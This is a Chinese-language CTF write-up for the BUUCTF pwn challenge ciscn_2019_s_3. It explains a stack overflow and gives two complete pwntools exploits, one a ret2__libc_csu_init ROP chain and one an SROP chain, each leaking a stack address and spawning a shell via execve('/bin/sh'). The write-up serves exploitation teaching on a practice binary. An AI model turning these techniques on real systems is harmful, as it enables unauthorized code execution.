Ciscn_2019_s_3

0x00 前言

这道题目对我来说还是有些难度的。

通过这道题目,我学到了两种漏洞利用手段:ret2__libc_csu_initSROP

题目在BUUCTF可以下到。

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

关键函数是vulngadgets函数。

先来看vuln函数,IDA的伪代码界面只能看出来这是个syscall,看不到函数的具体参数,所以来看汇编。

转换一下就是read(0,&rsp-0x10,0x400) 、 write(1,&rsp-0x10,0x30)

这里可以通过溢出来劫持RIP。

再来看gadgets函数

这里需要注意两个地方

mov rax,15mov rax,59

这里涉及到Linux系统调用

15对应的是sys_rt_sigreturn系统调用

59对应的是sys_execve系统调用

所以这道题目可以有两种办法来做。

  • 第一种办法是依靠59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)

  • 第二种办法是依靠15对应的sys_rt_sigreturn,借助sigreturn frame来执行execve(“/bin/sh”,0,0)

0x02 方法一 ret2__libc_csu_init

借助59对应的sys_execve

利用思路

由于程序没有给我们/bin/sh,我们需要通过read函数手动输入,但是我们需要知道我们的输入存在什么地方了?可以知道输入是存在栈上了,所以可以先泄露栈地址。

当我们拿到栈地址并且知道/bin/sh\x00的地址,就可以通过rop执行execve(“/bin/sh”,0,0),其中传参所用寄存器依次是rdi、rsi、rdx,分别对应/bin/sh、0 、 0 ,而要执行系统调用 还需要rax = 59。syscall可以在IDA中找到。

Try it !

Leak stack addr

1
2
3
main = 0x4004ED
payload = '/bin/sh\x00' + 'b'*8 + p64(main)
c.send(payload)

关于这个payload有一点需要说明

由于程序中调用完syscall后就直接进行了retn,而且此时rsp == rbp,所以我们payload中p64(main)就对应的是返回地址。

通过调试

1
2
3
0x7fffffffdda0:	0x0068732f6e69622f	0x6262626262626262 <- rsp-0x10==/bin/sh\x00 + 'b'*8
0x7fffffffddb0: 0x00000000004004ED 0x0000000000400536
0x7fffffffddc0: 0x00007fffffffdeb8 0x0000000100000000

可以看到0x7fffffffddc0位置存着一处栈地址,并且这个地址离我们输入的/bin/sh\x00的距离为

0x00007fffffffdeb8 - 0x7fffffffdda0 = 0x118,这个偏移是固定的,那么我们可以通过write函数打印出这个地址,然后减去这个偏移,就能得到/bin/sh的地址。

1
2
3
offset = 0x118
binsh = u64(c.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

ret2__libc_csu_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
execv = 0x4004E2
'''
.text:00000000004004E2 ;
.text:00000000004004E2 mov rax, 59
.text:00000000004004E9 retn
'''

syscall = 0x400517
'''
.text:0000000000400517 syscall ;
'''

p6r = 0x40059A
'''
.text:0000000000400596 loc_400596:
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
'''

movcall = 0x400580
'''
.text:0000000000400580 loc_400580:
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
'''

pop_rdi_ret = 0x00000000004005a3
'''
0x00000000004005a3 : pop rdi ; ret
'''

除了pop_rdi_ret是用的ROPgadget --binary ciscn_s_3 --only 'pop|ret'找到的

其他都可以在IDA里面找到

这道题目的核心也就在__libc_csu_init里面的loc_400596loc_400580

r13能传给rdx

r14传给rsi

r15d能传给edi

最后call [r12 + rbx*8],然后比较rbx和rbp是否相等,如果不等,则循环执行loc_400580

这个payload构造的非常巧妙,反正我自己是构造不出来

1
2
3
4
5
6
7
8
payload = '/bin/sh\x00' + 'b'*8 + p64(p6r)
payload += p64(0)*2 + p64(binsh + 0x50) + p64(0)*3
payload += p64(movcall) + p64(execv)
payload += p64(pop_rdi_ret) + p64(binsh) + p64(syscall)

c.send(payload)

c.interactive()

注意第二行,有几点需要说明。

  • 首先是让rbx和rbp都为0(只要保证rbx+1不等于rbp就行),这样是有目的的,是为了能够过会执行0x40058D add rbx, 1以后 rbx不等于rbp,然后执行jnz short loc_400580从而再次进入循环来执行call qword ptr [r12+rbx*8]
  • 其次是p64(binsh + 0x50),这个是要传给rsi的,binsh + 0x50正好对应的就是p64(execv),第一次执行call qword ptr [r12+rbx*8]时,由于rbx = 0,所以就相当于执行call [r12]call [rsi],也就是执行execv = 0x4004E2对应的mov rax,59;ret注意这里的call指令,相当于jmp 到 r12 + rbx*8这个地址里存放的地址,以这里为例,这就相当于 jmp 0x4004E2
  • 注意到前面是r15d传给edi,而不是rdi。r15d指的是r15的低32位,edi也是rdi的低32位,因此为了防止rdi里面曾存有其他数据占用了高32位,需要先通过p6r令rdi = 0 ,所以payload第二行后面的对应rdi位置的是p64(0)

payload的执行流程

实际上这个payload的执行流程由于涉及到call qword ptr [r12+rbx*8]而变得挺有趣而且巧妙的,可以调试跟一下,挺好玩的

首先当我们向程序输入payload以后,程序会返回到p64(p6r)来执行一系列pop和ret,p64(p6r)的ret会返回到p64(movcall)从而进入一个我们故意设置的循环(利用的是故意让rbx不等于rbp从而执行cmp rbx, rbp;jnz short loc_400580)

此刻从整体来看, RSP是指向栈中p64(execv)对应的位置的。ps : 由于在执行call qword ptr [r12+rbx*8]的时候RSP也会变化并在call返回是还原RSP本来的值,但为了分析payload的执行流程,忽略call时RSP的变化从整体来看比较好 。

第一次执行完call qword ptr [r12+rbx*8],由于经过了add rbx,1,所以此时rbx=1,rbp=0,它俩不相等,所以循环到loc_400580执行第二次循环。

而这次就会执行call [rsi + 8],也就是执行pop_rdi_ret,由于此时RSP指向的是栈中p64(execv)的位置,那么当我们pop rdi的时候,会将RSP指向的值即p64(execv)传给rdi,同时RSP += 8,此刻RSP指向栈中p64(pop_rdi_ret)的位置,当执行ret的时候,RIP便指向了p64(pop_rdi_ret),同时 RSP += 8从而跳出了我们设置的循环,此刻RSP指向栈中p64(binsh)对应的位置。

逃离了call qword ptr [r12+rbx*8]这个循环怪圈以后,通过pop rdi,将binsh 传给了rdi,然后ret到syscall执行系统调用。

payload很巧妙,能够利用循环并且跳出循环

可惜我太菜了,自己构造不出来,自己构造出来的一个看似能打通的实际上打不通。。。

完整EXP1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

c = process('./ciscn_s_3')
#c = remote('node3.buuoj.cn',28019)
main = 0x4004ED

execv = 0x4004E2
'''
.text:00000000004004E2 ;
.text:00000000004004E2 mov rax, 59
.text:00000000004004E9 retn
'''

syscall = 0x400517
'''
.text:0000000000400517 syscall ;
'''

p6r = 0x40059A
'''
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
'''

movcall = 0x400580
'''
.text:0000000000400580 loc_400580:
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
'''

pop_rdi_ret = 0x00000000004005a3
'''
0x00000000004005a3 : pop rdi ; ret
'''

payload = '/bin/sh\x00' + 'b'*8 + p64(main)
c.send(payload)
offset = 0x118
binsh = u64(c.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

payload = '/bin/sh\x00' + 'b'*8 + p64(p6r)
payload += p64(0)*2 + p64(binsh + 0x50) + p64(0)*3
payload += p64(movcall) + p64(execv)
payload += p64(pop_rdi_ret) + p64(binsh) + p64(syscall)

c.send(payload)

c.interactive()

0x03 方法二 SROP

利用思路

与方法一相同,都要先泄露栈,目的是为了泄露我们输入的/bin/sh的存放地址。

然后伪造sigreturn frame 来执行execve(“/bin/sh”,0,0)

Try it!

Leak stack addr

和方法一相同

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

c = process('./ciscn_s_3')
context(arch='amd64', os='linux')#Important!!!!!!!!!!

main = 0x4004ED
payload = '/bin/sh\x00' + 'b'*8 + p64(main)
c.send(payload)
offset = 0x118
binsh = u64(c.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

伪造sigreturn frame 来执行execve(“/bin/sh”,0,0)

pwntools里面有sigreturn frame 相关模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sigreturn = 0x4004DA
'''
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
'''

syscall = 0x400517
'''
.text:0000000000400517 syscall ;
'''
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = '/bin/sh\x00' + 'b'*8 + p64(sigreturn) + p64(syscall) + str(frame)

c.send(payload)

c.interactive()

这个模块用起来相当方便啊,只需要指定各个寄存器的值就好了。

关于这个sigreturn,有点高深,具体可以去搜一下,不过应对CTF的SROP题目的话,会用这个SigreturnFrame模块应该就够了。

有一点需要说明

context(arch='amd64', os='linux'),这个一定要指明,不然会报错。

完整EXP2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

c = process('./ciscn_s_3')
#c = remote('node3.buuoj.cn',28019)
context(arch='amd64', os='linux')#Important!!!!!!!!!!Important!!!!!!!!!!
main = 0x4004ED

sigreturn = 0x4004DA
'''
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
'''

syscall = 0x400517
'''
.text:0000000000400517 syscall ;
'''



payload = '/bin/sh\x00' + 'b'*8 + p64(main)
c.send(payload)
offset = 0x118
binsh = u64(c.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = '/bin/sh\x00' + 'b'*8 + p64(sigreturn) + p64(syscall) + str(frame)

c.send(payload)

c.interactive()

0x04 写在最后

这道题真的用了挺长时间的,加上更博客也用了不少时间,不过又调试了一遍又有了新收获新理解。

参考链接:

CSDN

CTF-WIKI

最后要感谢各位师傅们的博客以及BUUCTF